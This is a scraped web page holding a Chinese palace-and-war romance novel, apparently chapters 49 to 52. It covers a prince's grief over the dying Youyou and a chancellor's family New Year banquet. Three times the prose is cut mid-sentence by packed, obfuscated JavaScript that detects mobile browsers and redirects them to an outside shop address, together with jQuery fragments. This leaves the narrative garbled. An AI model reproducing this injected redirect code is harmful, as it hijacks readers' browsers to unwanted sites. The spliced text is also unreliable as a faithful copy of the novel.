肃安王虽然生气,但见他如此自责,倒不好再说什么,笑了笑,道,“这样的事怨不得将军,将军愿意冒着风险出手相救,本王就已经很高兴了。” 他说着,站起身,李怜灼忙跟上去,“王爷身上还有伤,不宜活动,应该好好休息才是。” 肃安王一动,左臂的伤口就跟着疼了起来,他不动声色地紧了紧袖口,不让那血流出来,“我去看看平乐,她跟过来,我不放心。” 李怜灼眼见拦不住他,只得帮他撩起帐门,二人还没走几步,就见一个侍卫慌里慌张地撞了过来,嘴里喊着,“不好了。” 肃安王眸色一沉,抢上一步,揪住那人便问,“怎么了?” 侍卫被他揪着,身子却跪了下去,磕磕巴巴地说,“王爷,公主她,她——” 肃安王心中一惊,松开手就跑了起来,他毫无方向地跑了几步又回来拎起侍卫,“带路!” 侍卫腿都软了,勉强支撑着引他往平乐公主的营帐走,李怜灼眉头紧锁,紧紧跟在后面。 明明只有几步远的距离,肃安王脑海里却想起了许多事,那都是他和平乐之间发生过的。 小时候,他们在一处玩儿,平乐喊他哥哥,他喊平乐妹妹,两个人就是像亲兄妹一样…… 平乐出嫁时,正赶上南蛮闹事,他受命前去平乱,二人在宫中见了一面,匆匆而别…… 他听闻平乐在西域过得不好,没日没夜地策马狂奔,可当他真的在宴席上见到了平乐,他只觉得自己的心在滴血…… 他用自己的披风裹住平乐,抱着她离开,她是那么轻,轻得像一片羽毛,她的脸是那么苍白,像是冰冷的雪,没有一点温度…… 平乐帐外的两个士兵立在门口,还都保持着拿刀的姿势,可是眼珠却是一转不转,显然他们连刀都还没来得及拔出,就已经被人杀死了。 李怜灼心中思忖,这两个是肃安王的亲兵,武功是绝对不会差的,可他们却都死得无声无息,可见刺客的身手实在了得。 李怜灼跟着肃安王刚一走进帐内,便见一个浑身是血的人爬了过来,他不觉退后一步,定睛一瞧,却是陆奔。 陆奔扯着肃安王的袍角,吃力地说,“主子,公主……劫走了……苍青色……救……” 陆奔的话还没说完,人就昏死了过去。 肃安王面色铁青,大喝一声,“陆奔!” 李怜灼赶紧吩咐已经吓傻了的侍卫,“愣着干嘛,还不赶紧去叫太医!” 侍卫应了一声,踉踉跄跄地跑出去喊人。 肃安王放下陆奔,便要追出去,却听到一个微弱的声音在喊,“王爷——” 他回头,见是悠悠躺在一滩血泊里唤他,她死死捂住心口,那里正汩汩地往外流着鲜血,眼看已经命不久矣。 肃安王的步子再也迈不开,他将悠悠揽在怀里,眼眶泛红,声音沉痛,“麻烦李将军带人去追回平乐公主,本王即刻就到,拜托了!” “王爷放心!” 说罢,李怜灼疾步而出,掀帘时,侍卫正好领着太医进来,两人向他行礼,“李将军。” 李怜灼催促,“快去救人。” 太医看向地上的两人,犹疑地问,“王爷,先救哪一个。” 肃安王正要说话,悠悠却拉住了他的手,气若游丝地说,“救陆奔。” 肃安王心中骤然一痛,“太医,你快过来看看她。” 太医搭了脉,又探了探悠悠的鼻息,便向肃安王摇了摇头,起身去另一边瞧陆奔的伤势。 肃安王悲恨交加,眉头紧锁,悠悠勉强抬起手,指尖在他的眉心处虚虚实实地点了点,“王爷,不要皱眉——” 肃安王安慰着她,“悠悠,你坚持住,等回宫了,我再给你找御医瞧,一定会有办法的。” 悠悠摇头,“王爷,我知道,我快死了,我只想和你再说会儿话。” 肃安王只觉喉中酸涩,他握住她的手,忍痛点了点头。 悠悠同他十指相扣,笑了笑,“我第一见到你,就爱上了你,你当时穿着一身的铠甲,意气风发,就仿佛是天边翱翔的雄鹰。从那时起,我就决定,将来一定要做你的女人。咳咳,可惜……可惜……不能够了……” 肃安王流着泪,俯身吻她,“悠悠,你好起来,你好起来我就娶你。” 悠悠唇角勾出一道凄楚的弧度,“不,我不配,王爷,我知道的,是我命不好,我不怨任何人,我死以后——” “悠悠,你不会死,你不会的!” 悠悠张大了嘴喘气,“我死以后,把我的尸身埋在玉门关,我要亲眼看着大魏荡平西域!” 肃安王哑声应她,“好。” 悠悠的眼神逐渐涣散,她用力微笑着,“还有……你不要皱眉……皱眉……很难看……” 一瞬间,她冰凉的指尖滑过他的手掌,直直落到了血泊里。 肃安王怔怔地看着悠悠,她的嘴角还挂着一丝笑意,她的眼睛也是温温润润含着情的,他不相信她已经死了,她明明,还活着。 肃安王抱着她,失声痛哭,“悠悠!悠悠!!!” 他一遍遍地吻她,“悠悠,对不起,我对不起你,我不该对你心存芥蒂,不该害你伤心。可是我原本以为,我们还有很多时间可以在一起,我以为,时间长了,我总会忘记那些事,我们就还能和从前一样,我没想到……对不起……悠悠……悠悠……对不起……” 一个士兵从帐外冲了进来,“太医,你快去瞧瞧楚将军吧,李将军在半路上遇到了他,命我们几个把他抬回了营帐,他伤得很重,需要尽快医治。” 太医刚给陆奔包扎完伤口,过来回话道,“王爷,陆将军的心口处被剑给捅穿了,幸亏将军的心脏长偏了一寸,加之将军体格健壮,这才保住了一条命,只是以后不宜再征战了。” 肃安王勉力点了点头,“有劳太医了,再去给楚将军看一下吧。” 太医领命,跟着士兵出去了。 肃安王抱着悠悠的尸体,心中悲痛欲绝,一旁的侍卫于心不忍,跪下磕了三个头,劝道,“人死不能复生,王爷自己也要保重啊!” 肃安王神色木然,置若罔闻,仍然保持着原来的姿势,一动也不动。 侍卫悲声道,“王爷!平乐公主还没有回来,王爷就算为了公主,也应该振作起来呀!” 肃安王阖上双眼,半晌,复又缓缓睁开,“备马。” “是,王爷。” 肃安王抱着悠悠起身,才走了两步,人就直挺挺地跪倒在地。 侍卫尚未离开,听见背后的声响,慌忙回头,却见肃安王已经人事不省地晕厥了过去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502757|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 侍卫一惊,冲出去大喊,“来人呀!” 肃安王醒时,已是翌日三更。 他披上大氅,掀帘出去,门口的两个侍卫见他醒了,俱是大喜过望。 肃安王问,“李将军和平乐公主都回来了吗?” 侍卫低下头,回道,“李将军一个时辰前回来了,平乐公主还没有。” 肃安王叹了口气,又问,“楚将军的伤势如何了?” 侍卫的头埋得更低了,“楚将军他,他的腿筋被人挑断,太医说他以后最好不要骑马了。” 肃安王咬紧牙关,只觉那里涌出了一股甜腥,喷在地上,殷红骇人。 侍卫看见地上的那口鲜血,不禁大惊失色,“王爷,我去请太医吧。” 肃安王掏出帕子,揩干净嘴角的血迹,摆手道,“本王自己的身体,本王心里有数。” 侍卫见他要走,忙拦道,“王爷,太医说王爷此次急火攻心,加上旧伤发作,病情甚险,王爷若要出去,就让我们几个跟在身边吧。” 肃安王脚步未缓,只冷冷道,“不必。” 天角新月如钩,他信步而行,心中钝痛。 肃安王扯下甲胄,随手仍在地上,他红着眼,沉声吟道,“云帆渔火江头,依稀人瘦。只作星幽,三更月如钩。时逢暖寿,把酒邀酬。待得白头老叟,红袖尚能在否?烛泪难收,华发浑眸,觞进如斗。唱晚悠悠——悠悠——” 这首词是肃安王于许多年前的生辰前夜所作,那天晚上,悠悠随平乐公主过来给他祝寿,他心中一动,遂作此词。 肃安王从小就和平乐一处长大,同她的贴身侍女悠悠更是彼此相熟,他心仪悠悠已久,也知道悠悠一直对他有情,只是碍于规矩,不敢言说。 因此,在翌日的生辰宴上,他当着所有宾客的面,将这首词吟了出来。宾客们并不知道其中关窍,只是不住地向他祝酒。 他一杯一杯地饮下,余光瞥过了悠悠,她正含笑看着他,小脸羞得通红,那时,他便知道,这事成了。 当日,肃安王便向平乐公主探了下口风,平乐先是惊诧,而后大喜,回头便找机会问了悠悠的意思,悠悠自然是愿意的。 肃安王没有耽搁,立刻进宫去求魏帝赐婚,魏帝念着他过生日,也不好驳他,便将悠悠许给了他做侧室,只是平乐舍不得悠悠,想再留她几年,悠悠也舍不得平乐,魏帝几番思量,最终将成亲的日子定在三年之后。 一朝得嫁意中人,悠悠的心中自然是十分欢喜的,虽是为人侧室,她也没有半分怨言,每天数着日子等着上花轿,谁料大婚前夕,她的母亲身患重病,猝然离世,悠悠悲痛之余,也要恪守礼法,守孝三年,这一耽搁,便等到了平乐远嫁西域的旨意。 悠悠陪伴平乐多年,她们的关系虽然名为主仆,情谊却似姐妹,因此,悠悠横下心来,决定再去西域陪平乐一段时间。 那时,肃安王与悠悠约定,再过几个月就去西域接她,平乐出嫁之前,南蛮突生变故,肃安王领兵前去平乱,这一去就是两年多,等他凯旋归来,想起此事,派人去西域接悠悠时,却只得到了悠悠的死讯。 他带着陆奔披星戴月,日夜狂奔,又用银子买通了西域人,才从对方手里买到了悠悠的尸体,那名西域人虽然贪财,但见他们说话都是大魏口音,还是留了个心眼儿,只说悠悠是水土不服,身染恶疾而死,只字未提她做过军妓的事儿。 肃安王身份特殊,加上语言不通,此次又是私自来此,未得皇命,也不敢在西域多做停留,匆匆带着悠悠的尸身,回了大魏,自此,他于男女之事上再未留心,别的将军都是三妻四妾,可他呢,莫说什么妻什么妾,就连一个通房丫鬟都没有。 魏帝多次想要给他指婚,他却都以“天下尚未安,小家何可立”为由给婉拒了。 后来,他再次见到了悠悠,本是满心欢喜,可当他知道了她这些年的遭遇时,他又痛又恨,恨西域人,更恨自己没有护她周全。他没有办法再像从前一样待她,他曾以为他们还有很多时间,不曾想,自此便是天人永隔,哀恸逾恒…… 雪虐风饕,直冲面门,肃安王立在一片肃杀苍莽之中,纹丝不动,犹如石化。 50. 雪落宰相府 宰相府,荣华堂。 牖糊明雪,椽垂晶冰,转眼已是岁末。 席容家的三少爷席容弥辉头戴貂茸帽,身裹白狐裘,正和一帮丫鬟坐在地上堆雪狮。 弥辉今年刚满十岁,是席容夫妇最小的儿子,席容炎老来得子,十分疼爱这个小家伙,因此,他打小就被娇惯的不成样子,得了个“混世魔王”的绰号。 席容弥辉堆了半日的雪狮,此刻有些腻烦了,他拍了拍手,准备回屋,突然想到了一个好主意,他瞟了一圈,末了指着一个穿红的丫鬟,“你,过来。” 丫鬟晓梅颤颤巍巍地蹭了过来,“三,三少爷。” 席容弥辉咧嘴一笑,露出一排洁白的牙齿,往雪地里一努嘴,“坐下。” 晓梅身上穿了件半新不旧的布棉袍,陪他在这大雪地里玩了大半日,鼻尖早已冻得通红,可她不敢言语,规规矩矩坐到了他对面。 席容弥辉挪到晓梅跟前,把身下的雪都往她身上推,晓梅冻得直打哆嗦,不停念叨着,“三,三少爷,奴婢冷,冷。” 席容弥辉手里的动作一点没停,他胡乱从地上揉了团雪,塞到晓梅嘴里,满不在乎地说,“忍着。” 雪一点点化掉,晓梅冷得受不住,张口呵气,外头的寒气就都灌了进去,她的舌头好像结了一层冰,连话也说不圆全,只能噙着泪,用眼神向一旁的几个丫鬟求救。 几个丫鬟紧抿着唇,大气都不敢喘,谁都知道这个小少爷就是个活阎罗,人命在他眼里根本就不算什么,她们虽然同情晓梅,却更怕引火烧身,一个个的都不敢出头替她求情。 二少爷席容弥德身上披了件大红猩猩毡排穗大褂子,由身边的丫鬟翠鸾扶着,立在门口看了半晌,遥遥唤了一声,“三弟。” 席容弥辉扔下手里的雪,冲他跑了过去,“二哥,我在堆雪人呢,过来一块玩儿呀。” 席容弥德侧过头,手往翠鸾的耳坠子上摸了摸,“三弟也太不懂得怜香惜玉了。” 弥辉吐着舌头,“我可没碰二哥的丫鬟,二哥少来管我。” 翠鸾的耳坠子滴溜溜地转,弥德的指尖顺着耳坠子就滑到了她的脖颈里,当着席容弥辉的面,翠鸾有些不好意思,嗔了一声,“二郎~” 弥德坏坏笑着,从怀里掏出帕子拭了拭手,一脸无所谓地看向弥辉,挑眉道,“玩嘛,尽兴就好,死个人也不算什么。不过,今儿是除夕,总归不吉利,三弟要玩,也得悠着点,晚上宸园花厅开家宴,大哥也会回来,他若知道了,只怕要生气。” 弥辉撇撇嘴,三步两步跳上台阶,窜回自己屋里去了,口中只嚷,“真没意思。” 弥德紧了紧身上的褂子,冲还坐在雪地里的晓梅喊道,“起来吧。” 晓梅浑身都是雪,活活被包成了一个雪人,只有眼睛鼻子还露在外头,此刻她已经冻得动弹不得,怎么起也起不来。 两侧的丫鬟一看二少爷发了话,都上去帮忙,有掸雪的,有烧热水的,还有拿干帕子的,晓梅终于从雪堆里被救了出来,她哽咽着磕头,“谢谢……谢谢二少爷……” 弥德还是那副吊儿郎当的模样,“叫二少爷多生分呀,以后唤我二郎。” 说完,他也不等晓梅答话,就扶着翠鸾的手进屋了。 晓梅一连打了好几个喷嚏,她揉揉鼻子,对身侧的辰珠抱怨道,“咱们要是能在二少爷屋里伺候就好了,偏生摊上了这么个混世魔王。” 辰珠笑推了她一把,“想什么呢,夫人眼里可是不揉沙子的,夫人屋里的知书先前那样得意,谁不以为二少爷得向夫人开口要她,结果二少爷愣是一声没吭,由着夫人把她送走了。” 晓梅道,“可是呢,知书那丫头去哪了,好久没听到这个名字了。” “听说是去烟雨阁了,烟姑娘给她另改了个名字,知书这个名字就没人提了。” “烟姑娘是个好伺候的,可惜呆不长,就快嫁出去了,要不我找吴大娘求求情,说不准还能调过去呢。” 辰珠斜睨着她,“瞧你那点出息吧,人家都托门子钻窟窿,挖空了心思往荣华堂里进,你倒好,琢磨着怎么出去。小少爷虽然顽皮些,一高兴了,赏人的时候也是真大方呀。你在烟雨阁能捞到什么油水呀,不过是混日子罢了。”辰珠往“逍遥居”怒了努嘴,嘻嘻笑着,“更何况,咱们院子里还住了这么一位怜香惜玉的主儿,有他在,怕什么?” 晓梅看了眼席容弥德的“逍遥居”,又看了看自家主子的“自在天”,无奈的叹了口气,“我真羡慕翠鸾她们几个,跟了二少爷,日子过得不是一般的舒坦,比正经主子还受用呢。” 荣华堂正中是席容夫人的三间正房,穿过月亮门,东西两侧还有两个半独立的小院子,东边名叫明玉苑,由二小姐席容珵住着,西边的金墨苑则是弥德、弥辉两兄弟住着,弥德给屋子题匾“逍遥居”,弥辉也给自己的屋子取了个诨号“自在天”。 弥德七岁的时候,弥辉刚出生,两兄弟自小在一个院子里头住着,丫鬟们也都彼此相熟。 席容弥德风流佻荡,对自己屋里的丫鬟最是上心,这让弥辉的丫鬟很是艳羡。 辰珠也叹了口气,“小少爷还小呢,不懂得男女这些事儿,等以后长大了,兴许就好了。” 晓梅不错眼珠儿的瞅着逍遥居,“等他懂事了,咱们几个也该出去了,还有什么用?” 辰珠伸手在她眼前晃了晃,“喂,当姐姐的劝你一句,你可别打错了算盘。现在逍遥居的人是风光,可是以后呢,以后的事儿谁说的准?二少爷还没娶妻,就招惹了一屋子的丫鬟,翠鸾,香杏,芦儿,娇妘都得排着队做姨娘,哪还有位置匀出来给你。以后二少奶奶嫁过来,性子温和还好说,万一和咱们家二小姐一个脾气,翠鸾她们就该遭罪了。你留个清白身子,攒够了钱,等到了年纪放出去,找个正经人家一嫁,不比做人家的小老婆好。” 晓梅点点头,像是听进去了辰珠的话,她揉了揉发麻的腿,一瘸一拐回自己屋里去了。 烟雨阁。 芸香清浅,梅香郁郁。 临窗的红酸枝雕花小几上供了个白净瓶,瓶里插着几支含苞未放的美人梅。 桃夭蹲在地上翻着箱笼,捡出两身新裁的袄儿,笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502758|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“今儿是除夕,府里要办家宴,姑娘晚上想穿哪一件衣裳去?” 席容烟正斜倚在罗汉床上闲翻着书,听见动静,抬起头来,“你说什么?” 桃夭一手拿着件湖蓝的,一手拿着件桃红的,“今儿晚上除夕家宴,姑娘想穿哪个?” 席容烟随便扫了眼,“红的吧,喜庆些。” 桃夭应了,又翻起来,一面找一面说,“姑娘里头的袄儿穿的鲜艳,外头的斗篷该找个雅淡的颜色压一压才是。” 席容烟搁下书,“斗篷,我也要大红色的。” 桃夭一愣,停了手中动作,抬头看她,“姑娘不是不爱穿红的吗,今儿怎么——” 席容烟淡淡一笑,“我改性子了,穿红色的吉利,以后都穿红的。” “哦,好,对了,才刚姑娘歇中觉的时候,四小姐屋里的福禄过来了,她拿了几支梅花,说是四小姐亲自在宸园里折的,送过来给姑娘瞧个新鲜。我见姑娘还睡着,就找了个白净瓶插上,搁在罗汉床的小几上了。” 席容烟拨了拨美人梅的花瓣儿,转圈端详着,“我说哪来的梅花呢,原来是珍儿送的,难为她惦记着我。” “四小姐与姑娘亲厚,有什么都先想着姑娘,这份姊妹情谊在府里倒是难得。” 席容炎叹口气,缓缓道,“周姨娘原是母亲房里的粗使丫鬟,因着父亲喝醉了酒,才有了珍儿,周姨娘老实本分,长得也不标志,在这几个姨娘里头是最不得宠的,连带着珍儿也不受重视,我与她,不过是同病相怜罢了。” “同病相怜也好,惺惺相惜也罢,有人惦记,总是好的。” 席容烟笑起来,“你说的是,有人惦记总是好的,晚上凑在一块说说话,我也不寂寞了。” “哪里会寂寞,听说大少爷带着一家子,也要回来过年,今儿晚上怕是热闹得很呢。” “父亲这几个儿子里,也就大哥还有点正经事,说起来我还从来没见过他呢。” 桃夭掰着指头算着,“大少爷是大魏七年去的江南,姑娘是大魏六年入的府,见是肯定见过的,只是姑娘那时候小,估计没什么印象。” “是啊,大哥在江南一呆就是十一年,每次过年都没工夫回家,连娶妻这样的大事都是在那边办的,如今,怎么说回来就回来了?” “我听跟着三少爷的辰珠说,皇上想把大少爷调回京里,所以大少爷今年才回来的。” “大哥在江南干的好好的,这会子回来做什么?” 桃夭摇头,“谁知道呢,许是有更好的去处吧。” 席容烟默然不语,她其实并不关心这个没见过面的大哥,她只是担心寒星。 三个月了,寒星一点消息都没有,她每次去席地斋给席容炎请安的时候,都能感觉到他有心事,她真的很担心寒星会出事,可她不敢直接问席容炎,只能悄悄打听消息,却又什么都打听不出来。 她从袖中取出那枚同心结,搁在掌心慢慢摩挲,心中思忖着,席容弥成在江南已经为官十一载,皇上骤然调他回京,其中必定有个缘故,她的直觉告诉她,一定是出事儿了。 51. 梅香染宸园 宸园。 白雪铺阶,红梅染地。 花厅环山而落,山上皆植梅花,远远望去,犹如一片湘妃色的璀璨云霞,煞是好看。 厅中摆了三张八仙桌,中间一桌坐的是席容炎、席容夫人、席容弥成、席容弥成的夫人殷氏,席容弥德、席容弥辉,左边一桌坐的是席容珵、席容烟、席容珍、席容玲,右边一桌坐的是席容珍的生母周姨娘、席容玲的生母何姨娘、冯姨娘、以及新纳的柳姨娘柳莺儿。 席容烟从汀步过来的时候,水里的浮萍都冻住了,深深浅浅的纹络嵌在冰里,衬得愈发清晰,正映着她纷乱芜杂的心绪,她一时贪看,便耽搁了些时辰,等她到花厅的时候,除了还在宫里随驾的席容炎,众人皆已到了。 席容烟给席容夫人请了安,又和兄弟姐妹彼此厮见一番。 席容烟今日穿得鲜艳,内里是桃红撒花袄儿,外头系着一件曳地的大红羽缎缂丝火狐裘,头上束着貂鼠卧兔儿,足上蹬着彩色挖云建绒靴。 她的红玛瑙耳坠子低垂在白皙的脖颈间,就像是红滟滟的美人梅落在了雪地里,杳霭流玉,云蒸霞蔚。 席容夫人正拉着弥成的手说话,见她来了,微微颔首示意。 弥德、弥辉正在划拳,弥德的目光在她的耳坠子上略顿了顿,便移开了。弥辉玩得高兴,压根没留意她这个人。二小姐席容珵面上骄矜,轻哼一声,低头只顾嗑瓜子儿。席容玲年纪小,站起来咧嘴对她笑了笑。 席容珍拉着席容烟坐下,笑睨着她,“姐姐今儿怎么穿得这么鲜亮,我都快认不出了。” “除夕嘛,讨个好彩头。”席容烟扫了眼在座之人,问道,“父亲还没回来?” “没呢,父亲先入的宫,反倒是大哥先回来了。” 席容烟看着坐在席容夫人身边的陌生男子,猜他应该就是席容炎的长子席容弥成。 弥成刚从宫里回来,身上还穿着孔雀官袍,端端正正地往那一坐,一看就是个读书人的样子。 席容珍抓了把瓜子儿磕,笑道,“你听说了没,皇上今儿封咱们家大哥做了伯爵,他的这身官服马上就该换了。” “伯爵?父亲当了这么多年宰相,都还没得一个爵位,大哥才过而立之年,便得了这份恩宠,这可真是件大喜事啊。不过,我看大哥的表情,怎么好像有点不高兴似的。” 席容珍瞅了两眼,“可能是累的吧,打江南那边回来,一路上又是坐船又是骑马,到了京城还得先入宫觐见,折腾了大半天,可不是累得够呛。” 席容烟瞧见殷氏怀里抱了个粉雕玉琢的小娃娃,不觉纳罕道,“大哥大嫂都有孩子了?男孩女孩?” 席容珍吐着瓜子皮,含糊不清地“嗯”了一声,“男孩,去年得的,过了年就两岁了,小名叫憧儿。” “憧儿?大哥饱读诗书,可是正经的进士出身,怎么给孩子取了这么个名字?” “说是大智若愚的意思。” 席容烟点点头,若有所思道,“大哥倒是个难得的明白人。” 席容珍忽而叹了口气,席容烟推她,“好好的,怎么叹气?” 席容珍只是摇头,好半天才说,“过了年,我就十五了,可是——” 她说到一半,就住了嘴,席容烟一下子就明白过来,席容珍这是在担心自己将来的婚事。她是庶出,生母人微言轻,又不得宠,眼看她到了该嫁人的年纪,也没人替她张罗。她一个女孩子家家,这样的事也不好自己提起,可不是要着急的。 席容烟想要劝劝她,可转头看见席容珵就坐在自己身边,她倒不好再说什么了,便道,“万般皆是命,半点不由人,琢磨这些也没用,倒不如想开些,走一步看一步吧。” 席容珍啜了口酒,敛眉不语。 一时,小厮来报,“老爷回来啦——” 众人皆站起身,上前迎他。 席容炎身披元色大氅,稳步迈进花厅,他眼中波澜不惊,和往常一样,瞧不出喜怒哀乐。 席容夫人帮他摘下红宝石官帽,面带担忧地仰头看他,“老爷怎么回来的这么晚?” 他握了握她的手,“娘娘留我说了会儿话,没什么大事。” 他看到殷氏怀中的孩子,眼角浮出一丝笑意,伸臂道,“今日让我也过过含饴弄孙的瘾。” 殷氏便将憧儿抱给他,他摇着憧儿,目光慈爱极了,他瞧瞧弥成,又瞧瞧殷氏,笑道,“鼻子像爹,眉眼像娘,这孩子可真聪明,专挑俊的地方长。” 众人听了都笑,席容夫人给华盛使了个眼色,华盛便去传菜。 不一会儿,丫鬟们鱼贯而入,捧了美酒佳肴进来。 席容夫人道,“小戏儿都预备好了,这会子就让他们唱吗?” 席容炎将憧儿交还给殷氏,掀袍坐下,“唱。” 台上梨园风光,台下欢声笑语。 席容夫人抱着憧儿,眉眼间难得露出几分慈色,殷氏挑了些易消化的吃食,一勺一勺给憧儿喂着,时不时同席容夫人说笑两句,她说起话来温声细语,让人听着如沐春风。 弥辉一向顽皮,此刻碍于父亲和大哥都在,倒是难得的守规矩,夹了几筷子肉,又央了席容夫人,便猴儿一样地跳下椅子,找花厅外的丫鬟们掷骰子去了。 弥德素来吃得少,这会子吃完了也不下桌,静静坐着听父亲和大哥两个人闲话。 弥成提起鎏金嵌宝云纹银酒壶,亲自斟了两杯酒,一杯奉与席容炎,一杯自己拿在手中,洒然而叹,“所谓,父母在,不远游,儿子这些年一直在外头奔波,实在不孝。” 席容炎接了酒盅,和蔼一笑,“上次见面,还是我去蜀地办事,途径你那里,住了两天,一晃也有三四年光景了。”他说着,抬眼打量弥成,“成儿,你瘦了许多,如今回来了也好,在京里享享清福,做他几日快活神仙。” 二人碰杯,仰头饮尽。 “江南风光好,原是个养人的好地方,可惜那边的林家盘根错节多年,又因着陈家的事,心里一直记恨咱们,我费了十年功夫,才打通那边的人脉关系,如今,哎——” “林家书香门第,世代清流,到林家老太爷那辈,兄弟三人又包揽了前朝的状元、榜眼、探花,天下桃李,半出林家,自然不是一朝一夕,说败就能败的。当年陈家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502759|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事儿波及甚广,陈家又与林家有着姻亲之谊,我原以为唇亡齿寒,林家也难逃此劫,谁料皇上不但没追究,还将魏皇后的妹妹霍娴嫁给了林家三房的嫡次子林修仁,后来林修仁进了内阁,官至大学士,更是在天下读书人中享有清誉。林家的势力,早已不局限于江南一隅,如今你回来了,父亲在朝中也算多个臂膀,这是好事儿。” “父亲说的有理,伯爵虽然没有实权,到底是个虚名,怎么着也能压上林修仁一头。”弥成说着,偏头看向身侧的弥德,笑道,“二弟也该考取个功名才是,成日赋闲在家,白白虚度了这大好光阴。到时候我们父子三人同朝为官,互为助力,岂不甚好。” 台上,小戏子正唱着《琵琶记》里的第十出《杏园春宴》,弥德心里想着那滴溜溜转的耳坠子,嘴里跟着低声哼唱起来,“花影乱,日朦胧。沸笙歌,引纱笼。”他没成想弥成会突然谈到自己,忙住了嘴,面有赧色地笑了笑。[1] 席容炎瞥他一眼,一副恨铁不成钢的样子,“没听台上唱的吗,你大哥就是那’如今端的是男儿,行看锦衣归故里’,你呢,就只会拣些淫词艳曲来唱!”[1] 席容炎的声音太大,惊动了一旁的席容夫人,席容夫人蹙了蹙眉,一面哄着怀里的憧儿,一面吩咐华盛,“还不快叫他们换出戏唱。” 华盛应声出去,不一会儿,台上的唱腔便止住了。 冲末扮成萧丞相,领着祗候上了台子,“秦府图书世不收,汉家刀笔我为优。请看约法三章在,第一功臣是酂侯。小官萧何是也,本贯丰沛人氏,辅佐汉天子有功,官拜丞相之职——”[2] 台下,弥成笑着帮他解围,“父亲别急,俗话说,人不轻狂枉少年,等以后二弟成了家,把心一收,性子一定,便好了。” “成家?哼,小小年纪,便养了一屋子的莺莺燕燕,谁家女儿能瞧的上他这么个浪荡子?书么,也不好生读,还号称什么‘京城五俊’,成日跟着一帮膏粱纨绔在缀锦楼里鬼混!” 弥德脸有些红,分辩道,“朝中有你和大哥,宫中还有大姐,咱们家已经是烈火烹油,鼎盛非常了,还不许我做个闲人吗。京城五俊里面,裴延敬、方承鹤、李莲蓉、宁凯风哪个不是履丝曳缟,吃酒听戏,怎么偏到了我这里,就不行了?” 弥成看见席容炎面有愠色,怕弥德挨骂,忙抢先说,“二弟,咱们家现在看着风光得意,实际每走一步,都是如履薄冰。十二年前,为着陈家的事,我们已经开罪了林家。魏皇后的本家霍家,同我们更是死敌。你说的那几人,各有来头。” “裴家太爷乃是三朝元老,方家则是太后本家,李莲蓉之父李茂早在前朝便在吏部供职,新帝即位,朝中官员大换血,李茂善于钻营,升任尚书,其子李莲蔚又在吏部做了员外郎,世人都道吏部应该更名“李”部。宁家虽被抄了家,但皇上为了彰显仁慈,还是留下个庶孙宁凯风承袭爵位,哪里是我们能比的。父亲出身寒门,外无世族倚仗,内无功名帮衬,苦熬了这么多年才熬到今天这个位置,如若子孙不济,将来必有后患。” 弥德还从未听人同他讲过这些话,一时有些发愣。 52. 兰旌扬飞雪 席容炎给他请的那些师傅学问虽好,却也不过是照本宣科,又忌惮着席容炎的权势,教起书来难免有些骄纵,怎会给他分析这层利害关系。席容炎忙于朝堂之事,在朝中几股势力中周旋谋划,对弥德、弥辉也疏于管教。席容夫人到底是个妇道人家,偶尔斥责他几句,也是为了他房里头的事儿,并不曾在这些事上留心。 如今,弥德乍一听了这些话,竟听住了,久久一言不发。 弥成见他不作声,知他是听住了,语重心长道,“老二,今不比昔,你该做些正经事了。” 弥德面露羞惭,站起身来,“大哥,我记住了,我这就回屋读书。” 弥成也是见好就收,微一颔首,转头又同席容炎谈了起来。 另一张桌子上,席容珵自诩是高门嫡女,瞧不上庶出的席容珍、席容玲,更不把捡来的席容烟放在眼里,因此也不和她们说话,吃了一阵子就去找席容夫人撒娇撒痴。 席容珍不爱看台上唱的《赚蒯通》,又不敢擅自离席,凑到席容烟耳边儿低语,“三姐,今夜月色正好,咱们借着月色踏雪寻梅,不比呆坐在这儿有趣。” 席容烟心中正有此意,又见弥辉已下了桌,弥德也离了席,便拉了席容珍去找席容夫人,“母亲,后山上梅花开得正盛,我和四妹想去折几支回来给父亲母亲赏玩,以助酒兴。” 席容夫人尚未答话,席容炎已经转过头来看她,温声道,“去罢,雪天路滑,走慢些,别摔着。” 席容烟笑着应了,便同席容珍欢欢喜喜的往山上跑。 几个丫鬟要跟上去,席容珍忙回头笑着唬住,“谁都不许跟着,不然,今儿就罚你们在这儿值一宿儿的夜!” 丫鬟们没敢再跟,缓步退回了花厅。 席容弥成看见她们走远了,微微皱眉,“探子急报,西域内部生变,先可汗旧部斩杀了苏里唐,拥戴新汗王尤里吐孜汗上位,苏里唐的弟弟穆则帕尔不肯就范,还在率兵负隅顽抗。肃安王和玉门关守将李怜灼身涉其中,至今未归,不知生死。父亲令奉城知府韩辙封锁消息,估计还能再拖几个月,但这件事皇上迟早是要知道的,父亲要早做决断啊。” 